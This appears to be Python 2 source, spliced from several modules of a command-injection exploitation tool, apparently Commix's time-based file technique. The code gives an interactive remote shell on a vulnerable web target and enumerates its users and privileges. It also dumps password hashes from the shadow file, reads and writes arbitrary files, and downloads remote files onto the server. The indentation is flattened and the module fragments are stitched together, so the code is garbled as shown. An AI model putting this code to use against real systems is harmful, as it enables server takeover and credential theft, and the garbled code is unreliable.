tfb_file_access.do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
# Pseudo-Terminal shell
while True:
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type 'q' or use <Ctrl-C> to quit)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd == "q":
sys.exit(0)
else:
# The main command injection exploitation.
# Cookie Injection
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
if menu.options.verbose:
print ""
if output != "" and check_how_long != 0 :
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
else:
print ""
except KeyboardInterrupt:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
break
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
if menu.options.verbose == False:
print ""
return False
else:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(separator,maxlen,TAG,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell):
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# "Retrieve certain system information (operating system, hardware platform)
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# The current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
if shell:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# System users enumeration
if menu.options.users:
sys.stdout.write("\n(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
sys_users = output
if sys_users :
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)","\n")
sys_users = sys_users.split( )
if len(sys_users) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
else :
is_privilleged = ""
else :
is_privilleged = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + ").Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
# System users enumeration
if menu.options.passwords:
sys.stdout.write("\n(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace("(@)","\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
count = 0
for line in sys_passes:
count = count + 1
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
# Single os-shell execution
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long,output = tfb_injector.injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
sys.exit(0)
# eof
def do_check(separator, maxlen, TAG, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
# Read file
if menu.options.file_read:
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Write file
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "' "
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
# Upload file
if menu.options.file_upload:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that the '"+ file_to_upload + "' file, does not exists. ("+str(err)+")" + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_upload = settings.TMP_PATH + file_name
else:
dest_to_upload = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_upload
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
## Check if file exists!
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Back.RED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_upload + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
# eof